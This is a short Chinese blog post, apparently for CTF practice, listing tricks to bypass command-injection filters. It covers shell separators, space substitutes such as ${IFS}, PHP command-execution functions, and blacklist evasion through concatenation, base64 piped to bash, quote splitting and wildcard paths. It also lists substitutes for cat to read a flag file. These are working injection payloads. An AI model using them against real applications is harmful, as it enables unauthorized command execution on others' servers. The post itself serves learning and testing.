命令执行绕过小技巧

管道符

windows 下:

  • | 直接执行后面的语句
  • || 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
  • & 前面和后面命令都要执行,无论前面真假
  • && 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

Linux 下:

  • ; 前面和后面命令都要执行,无论前面真假
  • | 直接执行后面的语句
  • || 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
  • & 前面和后面命令都要执行,无论前面真假
  • && 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

空格绕过

  • > < <> 重定向符
  • %09(需要php环境)
  • ${IFS}
  • $IFS$9
  • {cat,flag.php} //用逗号实现了空格功能
  • %20
  • %09

命令执行函数

  • system()
  • passthru()
  • exec()
  • shell_exec()
  • popen()
  • proc_open()
  • pcntl_exec()
  • 反引号 同shell_exec()

黑名单绕过

拼接

a=c;b=at;c=fl;d=ag;$a$b $c$d

base64编码

echo “Y2F0IGZsYWc=”|base64 -d
echo “Y2F0IGZsYWc=”|base64 -d|bash (在bash被过滤的情况下可尝试sh)

单引号、双引号

c””at fl’’ag

反斜线

c\at fl\ag

正则 (假设/bin/cat: test: 是一个目录)

/???/?[a][t] ?’’?’’?’’?’’
/???/?at ????
/???/?[a]’’[t] ?’’?’’?’’?’’

$1、$2等和$@

  • $# 是传给脚本的参数个数
  • $0 是脚本本身的名字
  • $1 是传递给该shell脚本的第一个参数
  • $2 是传递给该shell脚本的第二个参数
  • $@ 是传给脚本的所有参数的列表
  • $* 是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9个
  • $$ 是脚本运行的当前进程ID号
  • $? 是显示最后命令的退出状态,0表示没有错误,其他表示有错误

cat被过滤

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

内敛执行

cat$IFS$9ls
cat$IFS$9$(ls)

(内联,就是将``或$()内命令的输出作为输入执行)


命令执行绕过小技巧
http://example.com/2023/04/19/minlinzhixinraoguo/
作者
奇怪的奇怪
发布于
2023年4月19日
许可协议